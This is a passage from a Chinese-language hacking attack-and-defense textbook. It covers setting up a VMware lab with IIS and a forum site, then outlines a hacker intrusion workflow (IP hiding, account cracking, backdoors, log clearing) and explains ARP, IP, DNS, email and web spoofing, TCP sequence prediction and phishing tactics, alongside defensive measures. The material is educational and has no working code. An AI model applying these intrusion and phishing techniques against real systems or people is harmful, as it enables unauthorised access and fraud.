步骤10　右击“我的电脑”图标，在弹出的快捷菜单中选择“属性”选项，即可打开【系统属性】对话框，如图1-59所示。切换到“硬件”选项卡，在“设备管理器”选项组中单击【设备管理器】按钮，即可打开【设备管理器】窗口，此时在“网卡”项目下就可以看到多出两块虚拟网卡，如图1-60所示。这样，就可以在VMware下使用虚拟网卡进行联网设置和试验了。

图　1-59　【系统属性】对话框

图　1-60　【设备管理器】窗口

2.创建虚拟机

在虚拟软件安装完毕之后，就可以在安装的虚拟机上新建虚拟操作系统了。具体的操作步骤如下：

步骤1　如果是第一次启动VMware虚拟机软件，双击桌面的VMware快捷图标，即可打开【License Agreement（批准协议）】对话框，在其中选择“Yes, I accept the terms in the license agreement（我接受批准协议中的条款）”单选按钮，如图1-61所示。

图　1-61　【批准协议】对话框

步骤2　在选择完毕之后，单击【确定】按钮，即可进入【VMware】主窗口，如图1-62所示。选择【File（文件）】→【New（新建）】→【WMware（虚拟机）】菜单项，即可打开【New Virtual Machine Wizard（新建虚拟机向导）】对话框，如图1-63所示。选择"Typical(recommend)"单选按钮，即使用典型模式创建一个虚拟机。

图　1-62　【VMware】主窗口

图　1-63　【新建虚拟机向导】对话框

步骤3　单击【Next】按钮，即可打开【Guest Operating System Installation（操作系统安装方式）】对话框，如图1-64所示。该版本虚拟机提供光驱安装、系统ISO映像安装和以后安装等三种安装方式。把系统光盘放在光驱中选择“Installer disc（光驱安装）”单选按钮，即可自动探测出要安装操作系统的版本信息。

图　1-64　【操作系统安装方式】对话框

步骤4　单击【Next】按钮，即可打开【Easy Install Information（输入Windows安装信息）】对话框，如图1-65所示。在其中输入所安装系统的安装序列号、用户名称、登录密码等信息，以便在安装系统时自动加载，从而实现安装系统的无人值守功能。

图　1-65　【输入Windows安装信息】对话框

步骤5　单击【Next】按钮，即可看到【是否继续】提示框，如图1-66所示。该提示框的作用是提醒用户，输入的信息可能与虚拟机中的账户冲突，在以后安装的过程中将要求用户再输入一个新的名称。

图　1-66　【是否继续】提示框

步骤6　单击【Yes】按钮，即可打开【Name the Virtual Machine（虚拟机名称）】对话框。在其中的“Virtual machine name（虚拟机名称）”文本框中输入虚拟机的名称，如图1-67所示。

图　1-67　【虚拟机名称】对话框

步骤7　单击“Locatien（位置）”文本框后面的【Browse（浏览）】按钮，即可打开【浏览文件夹】对话框，在其中选择该虚拟机文件的存放位置，如图1-68所示。单击【确定】按钮返回到【虚拟机名称】对话框中，即可看到相应的设置，如图1-69所示。

图　1-68　【浏览文件夹】对话框

图　1-69　【虚拟机名称】对话框

步骤8　单击【Next】按钮，即可打开【Specify Disk Capacity（指定磁盘容量）】对话框，在其中根据实际情况设置磁盘大小和相应选项，如图1-70所示。

图　1-70　【指定磁盘容量】对话框

步骤9　单击【Next】按钮，即可打开【Ready to Create Virtual Machine（虚拟机已被正确创建）】对话框，在其中可以看到要创建虚拟的信息，如图1-71所示。

图　1-71　【虚拟机已被正确创建】对话框

步骤10　如果确定信息无误，单击【Finish（完成）】按钮，即可在【VMware Workstation】窗口中看到新创建的虚拟机，如图1-72所示。此时在【VMware Workstation】窗口左侧单击刚创建的虚拟机，即可在右窗格中看到建立的主机的软件和硬件信息。

图　1-72　刚创建的虚拟机

步骤11　如果想对刚创建的虚拟机进行设置，则可在【VMware】主窗口中单击“Edit virtual machine settings（编辑虚拟机设置）”超链接按钮，即可打开【virtual machine settings（虚拟机设置）】对话框，在其中对内存、硬件、USB接口、声音等属性进行设置，如图1-73所示。

图　1-73　【虚拟机设置】对话框

步骤12　在本地计算机中打开刚创建虚拟机所在的文件夹，在其中可以创建的系统文件如图1-74所示。如果创建的虚拟机感染了病毒，将该文件夹直接删除，再重新创建一个虚拟机就可以实现保护计算机的目的。

图　1-74　查看创建的虚拟机文件

3.在虚拟机中安装操作系统

在新建虚拟机之后，还需要在新建的虚拟机中安装操作系统，才可使新建的虚拟机运行起来。下面以Windows XP操作系统的安装为例，讲述一下利用系统光盘在新建虚拟机中安装操作系统的具体操作。

具体的操作步骤如下：

步骤1　在虚拟机中启动计算机并按"Del"键进入BIOS设置界面，将第一启动设置为"DVD-ROM"，将Windows XP系统安装光盘放在光驱中，单击【VMware Workstation】窗口中的启动按钮，即可看到【Windows XP Professional】提示框，如图1-75所示。

图　1-75　【Windows XP Professional】提示框

步骤2　单击【OK】按钮，即可启动安装Windows XP SP3操作系统指导界面，如图1-76所示。按照实际安装操作系统的方法进行安装，安装完毕的操作系统窗口如图1-77所示。

图　1-76　安装Windows XP SP3操作系统界面

图　1-77　安装的虚拟操作系统

步骤3　在虚拟机操作系统中通过"cmd"命令打开【命令提示符】窗口，在其中输入"ipconfig"命令，即可查看到安装虚拟系统的IP地址，如图1-78所示。在本地计算机中可以访问虚拟机的IP地址，在虚拟机中也可以访问本地计算机，即虚拟机系统作为一个独立的网络结点了。

图　1-78　获得虚拟机的IP地址等信息

1.3.4　安装虚拟工具

虚拟机工具（VMware Tools）的作用是鼠标从虚拟机移到本机计算机上不用按"Ctrl+Alt"组合键，还可以将真机的文件直接复制到虚拟机上。安装虚拟工具具体的操作步骤如下：

步骤1　在【VMware Workstation】窗口中，选择【VMware】→【Install VMware Tools】菜单项，即可启动虚拟工具安装程序，如图1-79所示。

图　1-79　启动虚拟工具安装程序

步骤2　在虚拟工具安装程序初始化完毕之后，即可打开【VMware Tools安装向导】对话框，如图1-80所示。

图　1-80　【VMware Tools安装向导】对话框

步骤3　单击【下一步】按钮，即可进入【安装类型】对话框，在其中根据实际情况选择相应的安装类型，如图1-81所示。

图　1-81　【安装类型】对话框

步骤4　单击【下一步】按钮，即可进入【已准备好安装程序】对话框，如图1-82所示。单击【安装】按钮，即可自动进行安装。

图　1-82　【已准备好安装程序】对话框

步骤5　在安装完毕之后，即可弹出【安装向导完成】对话框，如图1-83所示。

图　1-83　【安装向导完成】对话框

步骤6　单击【完成】按钮，即可看到【是否重新启动计算机】提示框，如图1-84所示。

图　1-84　【是否重新启动计算机】提示框

步骤7　单击【确定】按钮，即可自动启动。虚拟系统重新启动之后，如果可以任意移动鼠标，则说明虚拟工具已经成功安装了。

1.3.5　在虚拟机上假设IIS服务器

IIS（Internet Information Server，互联网信息服务）作为一种Web（网页）服务组件，其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器，分别用于网页浏览、文件传输、新闻服务和邮件发送等方面，使得在网络（包括互联网和局域网）上发布信息成了一件很容易的事。

1.在虚拟机中安装IIS服务器

在虚拟机中的操作系统中也可以安装IIS服务器，这里以在VMware中建立的Windows XP操作系统为例，介绍IIS服务器安装和配置过程。具体的操作步骤如下：

步骤1　在Windows XP系统的【控制面板】窗口中，双击“添加/删除程序”选项，即可打开【添加或删除程序】窗口，如图1-85所示。

图　1-85　【添加或删除程序】窗口

步骤2　单击【添加/删除Windows组件】按钮，即可打开【Windows组件向导】对话框，在其中勾选“Internet信息服务（IIS）”复选框以设置IIS信息，如图1-86所示。

图　1-86　【Windows组件向导】对话框

步骤3　单击【详细信息】按钮，即可弹出【Internet信息服务（IIS）】对话框，在其中取消默认的"SMTP Service"服务和"FTP"服务，如图1-87所示。

图　1-87　【Internet信息服务（IIS）】对话框

步骤4　在设置完毕之后，单击【确定】按钮，即可返回到【Windows组件向导】对话框中。此时在光驱中插入Windows系统安装光盘，单击【下一步】按钮，即可开始IIS服务器的安装，其安装进度如图1-88所示。

图　1-88　【Windows组件向导正在配置组件】对话框

步骤5　在IIS服务器安装完成之后，将会在【Windows组件向导】对话框中出现相应的提示信息，如图1-89所示。

图　1-89　【Windows组件向导】对话框

2.在虚拟机中配置IIS服务器

在IIS服务器附加完毕之后，往往还需要进行配置IIS服务器的操作。为了方便用户，在此介绍在虚拟机中的Windows XP操作系统下配置IIS服务器的方法。具体的操作步骤如下：

步骤1　在Windows系统的【控制面板】窗口中双击【管理工具】图标，即可打开【管理工具】窗口，如图1-90所示。

图　1-90　【管理工具】窗口

步骤2　双击【Internet信息服务】图标，即可打开【Internet信息服务】窗口，单击“本地计算机”前的“+”号，和其下属结点“网站”前的“+”号，如图1-91所示。

图　1-91　【Internet信息服务】窗口

步骤3　在“默认网站”结点上右击，在弹出的快捷菜单中选择【属性】选项，即可打开【默认网站属性】对话框，如图1-92所示。在【网站】选项卡中，选择“IP地址”下拉列表框中本机的IP地址（如机器的IP地址为192.168.0.20）之后，单击【确定】按钮，即可完成对网站IP地址的设置。

图　1-92　【默认网站属性】对话框

步骤4　在IE浏览器地址栏中输入本机的IP地址，即可打开默认网页，但有时会出现【连接到192.168.0.20】对话框，如图1-93所示。

图　1-93　【连接到192.168.0.20】对话框

步骤5　出现这种情况的原因在于设置权限的不正确。在【默认网站属性】对话框中切换到“目录安全性”选项卡下，单击其中的【编辑】按钮，即可打开【身份验证方法】对话框，如图1-94所示。在其中勾选“匿名访问”复选框和“允许IIS控制密码”复选框后，单击【确定】按钮，即可设置正确的权限。

图　1-94　【身份验证方法】对话框

1.3.6　在虚拟机中安装网站

在设置好IIS服务器并安装了动态域名解析客户端后，就可以安装网站了。要安装的网站可以是自己编辑网站程序，也可以是从网上下载完整的源程序。常见安装网站的方法有解压安装和程序安装两种。

1.解压安装法

解压安装法是目前安装网站最简单的方法，很多论坛网站都是用这种方法安装的。在网上下载网站源程序并将压缩包解压之后，就可以进行安装网站的操作了。

在虚拟机中安装网站的具体操作步骤如下：

步骤1　在【Internet信息服务】窗口中右击“默认网站”图标，在弹出的快捷菜单中选择“属性”选项，即可打开【默认网站属性】对话框，切换到“主目录”选项卡，在“本地路径”文本框中输入下载网站源文件所在的位置，如图1-95所示。

图　1-95　“主目录”选项卡

步骤2　切换到“文档”选项卡，在“默认文档”栏中可以看到各种默认的文档，如图1-96所示。

图　1-96　“文档”选项卡

步骤3　勾选“启用默认文档”复选框后单击【添加】按钮，即可打开【添加默认文档】对话框，在“默认文档名”文本框中输入新添加的文档名index.asp，如图1-97所示。

图　1-97　【添加默认文档】对话框

步骤4　单击【确定】按钮，即可关闭【添加默认文档】对话框，此时在“默认文档”列表中可看到新添加的index.asp，如图1-98所示。

图　1-98　添加的默认文档

步骤5　在【Internet信息服务】窗口中将安装后默认存在的几个虚拟目录（"IISHelp"和"Printers"）删除，在本地计算机的浏览器地址中输入虚拟机IP地址，即可打开刚安装的网站。

2.程序安装法

使用程序安装法安装网站与安装普通软件的基本操作过程是一样的，都是先从网上下载安装程序，再进行安装。这里以安装动网论坛为例，具体的操作步骤如下：

步骤1　下载并解压动网论坛程序，在【Internet信息服务】窗口中把虚拟目录设置为动网论坛所在的文件夹，运行安装程序dvbbs.exe，即可打开【动网先锋软件（Aspsky.Net）安装】对话框，如图1-99所示。

图　1-99　【动网先锋软件（Aspsky.Net）安装】对话框

步骤2　在选择安装目标文件夹之后，单击【安装】按钮，即可完成对动网论坛的安装，待安装完毕后，打开安装好的网站文件夹，如图1-100所示。

图　1-100　安装完毕后的动网论坛文件

1.4　必要的黑客攻防知识

事物的作用都是一分为二的，如现在网络流行的扫描软件，在管理员手中可用来检测系统漏洞，防范于未然；而对于“黑客”来讲，它是用来寻找攻击入口，为入侵工作做准备的必备工具。

1.4.1　常见的黑客攻击流程

黑客入侵主要是为了成为目标主机的主人，能够获得一台网络主机的超级用户权限，才达到了入侵的目的。比如说修改服务配置、安装木马程序、执行任意程序等。虽说现在网络安全日新月异，旧的安全漏洞被补上，新的漏洞也会随之出现。网络攻击正是利用这些安全漏洞和缺陷对系统和资源进行攻击的。下面介绍黑客攻击的基本流程：

（1）隐藏自己的行踪。黑客入侵就是要神不知鬼不觉地侵入到目标主机，因此，在入侵之前要对自己做个伪装，不能让被攻击者轻易发现。在进行网络攻击之前，先将自己真实的IP地址隐藏，一般攻击者都是利用他人电脑来隐藏自己真实的IP，也有一些高手会通过800电话的无人转接服务连接ISP，再套用他人的账号进行伪装。

（2）查询分析目标主机。攻击要有目标，在Internet中IP地址就能够真正标识一个主机，而域名是为了更好地对IP地址进行记忆管理的另一种表示方式，这样利用域名和IP地址就能够确定目标主机了。确定了目标主机之后，就可以对其操作系统类型及所提供的服务等信息，做一个全方位的分析了解。

一般攻击只用一些扫描器工具，了解目标主机所使用的操作系统类型及其版本、系统开放了哪些用户、Web等服务器程序版本信息等，为入侵做好充分准备。

（3）获取权限用户进行入侵。获得目标主机权限用户是入侵的最基本手段，攻击者要先设法盗取目标主机的账户文件进行破解，来得到权限用户的账号和密码，再寻找合适时机以此身份登录主机。一般攻击者都是通过一些黑恶攻击或系统漏洞登录目标主机的。

（4）留下后门和清除记录。在获取权限用户之后，就可以顺利登录目标主机系统，从而获得控制权。留下后门和清除记录可以方便攻击者以后不被察觉地再次入侵该目标主机。

其实所谓后门只是一些木马程序或预先编译好的远程操纵程序，将这些程序修改时间和权限传输到目标主机隐秘的地方藏起来就可以了。一般攻击者喜欢使用rep传输文件，以免被被攻击者发现。攻击者还要使用清除日志、删除复制的文件等方法清除自己的记录，隐藏好自己的踪迹。

（5）窃取网络资源。成功入侵了目标主机，该主机的所有资料都将呈现在自己面前，此时即可下载有用资料（如一些重要的账号密码），甚至可使该主机及其所在的网络瘫痪。

1.4.2　常用的网络防御技术

在浩瀚的网络世界里，当用黑客技术攻击别人时，说不定自己也正在被某个黑客当作攻击目标。只有将黑客有可能攻击的弱点保护起来，才有可能保证自己“大本营”的安全。

下面针对黑客常用攻击手段介绍几种常用的防范方法。

1.协议欺骗攻击的防范措施

黑客攻击手段中有一种是利用协议欺骗来窃取报文的，要防止源IP地址欺骗的攻击方式，可采用如下几种方法：

加密法。对发送到网络之前的数据包进行加密，在加密过程中要求适当改变网络配置，但应能够保证发送数据的完整性、真实性和保密性。

过滤法。配置路由器使其拒绝网络外部与本网段内具有相同IP地址的连接请求。而且当数据包的IP地址不在本网段内，路由器就不会将本网段主机的数据包发送出去。但路由器过滤也只是对来自于内部网络的外来数据包起到作用，对于网络内存在的外部可信任主机就没有办法过滤了。

2.拒绝服务攻击的防范措施

在拒绝服务攻击中，SYN Flood攻击是典型的攻击方式，为了防止拒绝服务攻击，可以采取如下防御措施：

在路由器上配置和调整限制SYN半开数据包的数量和个数。

防止SYN数据段攻击，可对系统设置相应的内核参数，对超时的SYN请求连接数据包使系统强制复位，缩短超时常数和加长等候队列，使得系统能够及时处理无效的SYN请求数据包。

在路由器的前端做必要的TCP拦截，只有经过完成三次握手过程的数据包才能通过该网段，有效保护本网段的服务器不被其攻击。

管制可能产生无限序列的服务来防止信息淹没攻击。

其实最好的方法就是找出正在进行攻击的机器和攻击者，但这却不是那么容易。因为对方一旦停止了攻击行为，就很难再发现其踪迹了。唯一可行的方法就是在其进行攻击时，采用回溯法根据路由器的信息和攻击数据包特征来查找攻击源头。

3.网络嗅探的防范措施

对于使用网络嗅探的方法检测自己系统的攻击者，可以采用如下措施进行防范：

网络分段。一组共享底层和线路机器（如交换机、动态集线器和网桥等设备）可以组成一个网络段。在一个网络段中可以对数据流进行限制，从而达到防止嗅探工具的目的。

加密。可以对数据流中的部分数据信息进行加密，也可以对应用层加密，不过应用层的加密将使大部分网络和操作系统相关的信息失去保护。因此，需要根据信息的安全级别及网络安全程序选择使用何种加密方式。

一次性密码技术。这里所使用的密码将不会在网络中传输，而是直接在传输两端进行字符串的匹配，因此，客户端可利用从服务器上得到的Challenge和自身密码，计算出一个字符串并将其返回给服务器，服务器利用比较算法对其进行匹配，如果匹配将允许建立连接，所有Challenge和字符串都只能使用一次。

禁止杂错结点。防止IBM兼容机进行嗅探可以安装不支持杂错的网卡。

4.缓冲区溢出攻击的防范措施

缓冲区溢出是属于系统攻击的手段，主要是通过向程序的缓冲区写入冗长的内容达到缓冲区溢出限制，从而破环程序的堆栈，使程序转而执行其他指令，而达到攻击的目的。

对缓冲区溢出攻击的防御可以采用如下几点：

程序指针检查。在使用指针被引用之前先检测该程序指针是否被发生了改变。只要系统事先检测到指针的改变，此指针将不会被使用。

堆栈保护。这是提供程序指针完成性检测的一种编译器技术，在程序指针堆栈中函数返回的地址后面追加一些特殊的字节，在函数返回时先检测这些附加的字节是否被改动，因此，这种攻击很容易在函数返回前被检测到。但如果攻击者预见到这些附加字节，并能在溢出过程中制造出，攻击者就可以跳过堆栈的保护测试了。

数组边界检查。通过检测数组的操作是否在正确范围内进行，来检测是否被缓冲区溢出攻击。目前主要使用的集中检查方法有：Compaq编译器检查、Jones＆Kelly C数组边界检查、Purify存储器存取检查等。

1.5　专家点拨

点拨1：在安装虚拟工具时找不到安装文件，出现这种问题的原因是什么？

解答：出现这种问题的原因是在虚拟机中用的是ISO文件安装的操作系统，但是加载安装文件后没有重启系统。在重新启动系统之后，就可以自动找到VMware Tools的安装文件了。

点拨2：在VMware中创建一个虚拟机后，启动该虚拟机时会报物理内存不足，为什么？

解答：在一般情况下，如果主机操作系统是Windows XP且虚拟机也是Windows XP，则物理内存最好不低于512MB，而给虚拟机分配的内存最少要有128MB，才可能保证虚拟机正常运行。

点拨3：如何提高VMware的性能？

解答：要提高VMware虚拟机的性能，需要采取如下几种措施。

升级计算机的配置：因为CPU的速度越快，内存越大，VMware的性能就越好。

安装虚拟工具：VMware Tools有助于提高鼠标性能和虚拟机的可用性。

选择正确的系统。在新建虚机时从下拉菜单里选择操作系统的类型，如果所选类型与实际安装不一致会给性能带来不良影响。

尽量使用全屏模式。全屏模式直接操作显卡，比窗口模式有更好的性能。

1.6　总结与经验积累

很多人由于对电脑安全防御和黑客入侵原理缺乏必要的了解，常常被黑客攻击了还都蒙在鼓里，所以本章介绍了进程、端口、服务、文件、文件系统、DOS系统的常用命令、常见的网络协议以及创建安全测试环境等内容。

本章着重介绍了如何用VMware创建虚拟环境、安装虚拟工具以及在虚拟机中安装IIS服务器和网站等内容。希望通过对本章的学习，读者可以对黑客入门知识有个大概了解。

第2章
剖析黑客的攻击方式

重点提示

♂网络欺骗攻击

♂口令猜解攻击

♂缓冲区溢出攻击

在很多人的眼中，黑客使网络中充斥着太多骗局和陷阱，黑客使用各种攻击手段来达到其不可告人的目的。黑客常用攻击手段有网络欺骗攻击、口令猜解攻击和缓冲区溢出攻击等。

2.1　网络欺骗攻击

近年来，在与入侵者周旋的过程中，另一种有效的信息安全技术正渐渐地进入了人们的视野，那就是网络欺骗。网络欺骗攻击也是黑客常用的攻击方式，下面介绍几种常见的网络欺骗攻击方式。

2.1.1　攻击原理

用户可以通过IE等浏览器访问各种各样的Web站点，一般的用户不会意识到有这些问题存在：正在访问的网页已经被黑客篡改过，网页上的信息是虚假的。例如，黑客将用户要浏览的网页的URL改写为指向黑客自己的服务器，当用户浏览目标网页的时候，实际上是向黑客服务器发出请求，这样黑客就可以实现欺骗的目的。网络欺骗的主要方式有ARP欺骗、IP欺骗、DNS欺骗、Web欺骗以及电子邮件欺骗等，下面将介绍这几种欺骗的攻击原理。

1.ARP欺骗

ARP（Address Resolution Protocol，地址解析协议）的作用是通过目标设备的IP地址，查询目标设备的MAC地址，以保证通信能够顺利进行。在局域网中，网络中实际传输的是“帧”，而帧里面是有目标主机的MAC地址的。所以一个主机和另一个主机要进行直接通信，必须通过地址解析协议获得目标主机的MAC地址。而“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP欺骗是黑客常用的攻击方式之一，ARP欺骗分为对路由器ARP表的欺骗和对内网的网关欺骗两种方式。

对路由器ARP表的欺骗：其本质是截获网关数据。它通知路由器一系列错误的内网MAC地址，并按照一定的频率不断进行，使真实的地址信息无法通过更新保存在路由器中，结果路由器的所有数据只能发送给错误的MAC地址，造成正常计算机无法收到信息。

对内网的网关欺骗：其本质是伪造网关。它是通过建立假网关，让被它欺骗的计算机向假网关发送数据，而不是通过正常的路由器途径上网。

一般来说，ARP欺骗攻击带来的后果非常严重。只需成功感染一台电脑，就可能导致整个局域网都无法上网，严重的甚至可能带来整个网络的瘫痪。

2.IP欺骗

IP欺骗的技术比较复杂，不是简单地照猫画老虎就能掌握，但作为常规攻击手段，有必要理解其原理，至少有利于提高自己的安全意识。

IP欺骗就是伪造他人的源IP地址，其实质就是让一台计算机来扮演另一台计算机，以达到欺骗的目的。IP欺骗就是利用主机之间的信任关系来实现的。如果两台主机之间的信任关系是基于IP地址建立起来的，那么在可以冒充另一台计算机IP地址的前提下，就可以使用rlogin命令登录到该主机上，而不需任何口令验证，这就是IP欺骗的最根本的理论依据。

IP欺骗的实现过程如下：

（1）选定目标计算机。且其信任模式已被发现，并找到一个被目标主机信任的主机。

（2）一旦发现被信任的主机，为了实现伪装，则往往使其丧失工作能力。由于黑客将要代替真正的被信任主机，所以必须确保真正被信任的主机不能接收到任何有效的网络数据，否则将会被揭穿。

（3）使得被信任的主机丧失工作能力后，伪装成被信任的主机，同时建立起与目标主机基于地址验证的应用连接。如果成功，黑客可以使用一种简单的命令来放置系统后门，以进行非授权操作。

这就是IP欺骗攻击的全过程。该过程看起来很完美简单，但实际上还需要做很多工作。虽然可以通过编程的方法来改变发出的数据包的IP地址，但TCP对IP进行进一步的封装，是不会让黑客轻易得逞的。

由于TCP是面向连接的协议，所以在双方正式传输数据之前，需要使用三次握手来建立一个稳定的连接。假设还是主机A和主机B进行通信，主机B先发送带有SYN标志的数据段通知主机A建立TCP连接，TCP的可靠性就是由数据包中的多位控制字来提供的，其中最重要的是数据序列SYN和数据确认标志ACK，且将TCP报头中的SYN设为自己本次连接中的初始值（ISN）。当主机A收到主机B的SYN包之后，会发送给主机B一个带有SYN+ACK标志的数据段，告之自己的ISN并确认主机A发送来的第一个数据段，将ACK设置成主机B的SYN+1。

当主机B确认收到主机A的SYN+ACK数据包后，将ACK设置成主机A的SYN+1。主机A收到主机B的ACK后，连接成功建立，双方可以正式传输数据了。假如黑客想冒充主机B对主机A进行攻击，就要先使用主机B的IP地址发送SYN标志给A，但当A收到后，并不会把SYN+ACK发送到黑客的主机上，而是发送到真正的B上去，这时IP欺骗就失败了，因为B根本没发送SYN请求。所以如果要冒充B，首先要让B失去工作能力。

此时最难的是对A进行攻击，必须知道A使用的ISN。TCP使用的ISN是一个32位的计数器，从0～4 294 967 295。TCP为每一个连接选择一个初始序列号ISN，为了防止因为延迟、重传等扰乱三次握手，ISN不能随便选取，不同的系统有着不同的算法。

所以要对目标主机进行攻击，还必须知道目标主机使用的数据包序列号。黑客首先与被攻击主机的一个端口（如SMTP对应的端口）建立起正常的连接。通常，这个过程被重复若干次，并将目标主机最后所发送的ISN存储起来。黑客还需要猜测他的主机与被信任主机之间的RTT时间（往返时间），这个RTT时间是通过多次统计平均求出的。RTT对于估计下一个ISN是非常重要的。每秒钟ISN增加128 000，每次连接增加64 000。

现在就不难估计出ISN的大小了，它是128 000乘以RTT的一半，如果此时目标主机刚刚建立过一个连接，再加上一个64 000。在估计出ISN大小后，立即就开始进行攻击。如果攻击者估计正确，目标主机将会接收该ACK。至此，将开始数据传输。一般地，攻击者将在系统中放置一个后门，以便侵入。

3.DNS欺骗

当一台主机发送一个请求要求解析某个域名时，先把解析请求发到自己的DNS（Domain Name Server，域名服务器）上。DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。如果可以冒充域名服务器，再把查询的IP地址设为攻击者的IP地址，这样，用户上网就只能看到攻击者的主页，而不是用户想要取得的网站的主页了，这就是DNS欺骗的基本原理。DNS欺骗其实并不是真的“黑掉”了对方的网站，而是冒名顶替、招摇撞骗。

实际上，就是把攻击者的计算机设成目标域名的代理服务器，这样，所有外界进入目标计算机的数据流都在黑客的监视之下了，黑客可以任意窃听甚至修改数据流里的数据，收集到大量的信息。与IP欺骗相似，DNS欺骗的技术在实现上仍然有一定的困难，为了克服这些困难，有必要了解DNS查询包的结构。

在DNS查询包中有个标识IP，它是一个很重要的域，其作用是鉴别每个DNS数据包的印记，从客户端设置，由服务器返回，使用户匹配请求与相应。如果某用户要打开百度主页（www.baidu.com），黑客要想通过假的域名服务器（如220.181.6.45）进行欺骗，就要在真正的域名服务器（220.181.6.18）返回响应前，先给出查询的用户的IP地址。

但在DNS查询包中有一个重要的域就是标识ID，如果要使发送伪造的DNS信息包不被识破，就必须伪造出正确的ID。如果无法判别该标记，DNS欺骗将无法进行。只要在局域网上安装有嗅探器，通过嗅探器就可以知道用户的ID。但要在Internet上实现欺骗，就只有发送大量的一定范围的DNS信息包，来得到正确的ID。

4.电子邮件欺骗

电子邮件欺骗是指对电子邮件的信息头进行修改，以使该信息看起来好像来自其真实源地址之外的其他地址。这类欺骗只要用户提高警惕，一般危害性不是太大。攻击者使用电子邮件欺骗有三个目的：隐藏自己的身份；冒充别人的身份发送邮件；电子邮件欺骗能被看作是社会工程的一种表现形式。例如，如果攻击者想让用户发给他一份敏感文件，攻击者伪装他的邮件地址，使用户以为这是老板的要求，用户可能会发给他这份文件。

执行电子邮件欺骗有如下几种基本方法，每一种有不同难度级别，执行不同层次的隐蔽：

（1）相似的电子邮件地址。使用这种类型的攻击，攻击者找到一个公司的管理人员的名字。有了这个名字后，攻击者注册一个看上去类似高级管理人员名字的邮件地址，然后在电子邮件的别名字段填入管理者的名字。因为邮件地址似乎是正确的，所以收信人很可能会回复它，这样攻击者就会得到想要的信息。

（2）远程联系，登录到端口25。邮件欺骗的更复杂的一个方法是远程登录到邮件服务器的端口25（邮件服务器通过此端口在因特网上发送邮件）。当攻击者想发送给用户信息时，他先写一个信息，再单击发送。接下来其邮件服务器与用户的邮件服务器联系，在端口25发送信息，转移信息。

5.Web欺骗

黑客通过Web欺骗攻击对Web站点进行复制并进行修改，而修改后的Web站点看起来十分逼真，它拥有相同的网页和链接。这样，黑客就可以控制错误的Web站点，以获得攻击者浏览器和Web之间的所有网络信息。黑客可以监视目标计算机的网络信息，记录访问的网页和内容等。当用户填写完一个表单并发送后，这些数据将被传送到Web服务器，Web服务器将返回必要的信息，但不幸的是，攻击者完全可以截获并加以使用。绝大部分在线公司都是使用表单来完成业务的，这意味着攻击者可以获得用户的账户和密码。

在得到必要的数据后，攻击者可以通过修改受攻击者和Web服务器之间任何一个方向上的数据，来进行某些破坏活动。攻击者修改受攻击者的确认数据，如果在线订购某个产品，黑客就可能修改产品编码、数量或要求等。黑客也能修改Web服务器所返回的数据信息。例如，插入易于误解或者攻击性的资料，破坏用户和在线公司的关系等。

2.1.2　攻击与防御实战

网络欺骗攻击方式是黑客经常使用的一种攻击方式，也是一种隐蔽性较高的网络攻击方式。这里以网络钓鱼为例，来介绍其攻击过程和防御措施。

1.网络钓鱼攻击概念

网络钓鱼（Phishing，与钓鱼的英语fishing发音相近，又名钓鱼法或钓鱼式攻击）是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件，意图引诱收信人回复敏感信息（如用户名、口令、账号ID、ATM PIN码或信用卡详细信息）的一种攻击方式。最典型的网络钓鱼攻击将收信人引诱到一个通过精心设计与目标组织的网站非常相似的钓鱼网站上，并获取收信人在此网站上输入的个人信息，通常这个攻击过程用户是不会察觉的。

这些个人信息对黑客们具有非常大的吸引力，因为这些信息使其可以假冒受害者进行一系列非法活动，从而获得经济利益。受害者经常遭受显著的经济损失或全部个人信息被窃取并被用于犯罪的目的。虽然网络钓鱼攻击的网站生存的时间很短，几天甚至更短，但在所有接触诈骗信息的用户中，仍然会有一部分人对这些骗局做出响应。

由于网络钓鱼是一个非自我复制的恶意代码，所以需要向其他人发送拷贝文件。网络钓鱼可以作为电子邮件附件传播，或其可能隐藏在用户与其他用户进行交流的文档和其他文件中，还可以被其他恶意代码（如蠕虫）所携带。网络钓鱼有时也会隐藏在从互联网上下载的免费软件中。当用户安装这个软件时，木马就会在后台被自动安装。

2.网络钓鱼攻击的常用手段

从最初的电子邮件虚假信息欺诈到后来的假冒网上银行、网上证券等，都说明了近年来网络钓鱼攻击愈演愈烈的形势。

（1）发送电子邮件，以虚假信息引诱用户中圈套。

黑客以垃圾邮件的形式大量发送欺诈性邮件，这些邮件多以中奖、对账等内容引诱用户在邮件中填入金融账号和密码，或以各种理由要求收件人登录某网页提交用户名、密码、身份证号、信用卡号等信息，继而达到盗窃用户资金的目的。

最近发现的一种骗取用户的账号和密码的“网络钓鱼”电子邮件，该邮件利用了IE的图片映射地址欺骗漏洞，并精心设计脚本程序，通过一个弹出窗口遮挡住了IE浏览器的地址栏，使用户无法看到该网站的真实地址。当用户使用未打补丁的Outlook打开此邮件时，状态栏显示链接是虚假的。当用户单击链接时，实际连接的是钓鱼网站，而且用户一旦输入自己的账号和密码，则个人信息很有可能给黑客窃取。

（2）建立假冒网上银行、网上证券网站，骗取用户账号和密码实施盗窃。

黑客通过创建域名和网页内容都与真正网上银行系统、网上证券交易平台极为相似的网站，来引诱用户输入账号和密码等信息，进而通过真正的网上银行、网上证券系统或伪造银行储蓄卡、证券交易卡盗窃资金。另外，还可以利用跨站脚本，即利用合法网站服务器程序上的漏洞，在某些网页中插入恶意HTML代码，屏蔽住一些可以用来辨别网站真假的重要信息，利用Cookies窃取用户信息。

如要假冒某假冒银行网站，网址为http://www.1cbc.com.cn，而真正银行网站是http://www.icbc.com.cn，犯罪分子利用数字1和字母i非常相近的特点企图欺骗粗心的用户。

（3）利用虚假的电子商务进行诈骗。

该种方式是通过建立电子商务网站，或在比较知名、大型的电子商务网站上发布虚假商品销售信息，黑客在收到受害人的购物汇款后就销声匿迹。

除少数人自己创建电子商务网站外，大部分人都采用在某些电子商务网站上，如“易趣”、“淘宝”、“阿里巴巴”等，发布虚假信息，以“超低价”、“免税”、“走私货”、“慈善义卖”的名义出售各种产品。很多人在低价的诱惑下上当受骗。同时又因为网上交易大多都是异地交易，通常需要汇款。不法分子一般要求消费者先付部分款，再以各种理由诱骗消费者付余款或者其他各种名目的款项，得到钱款或被识破时，就立即切断与消费者的一切联系。

（4）利用木马和黑客技术等手段窃取用户信息后实施盗窃活动。

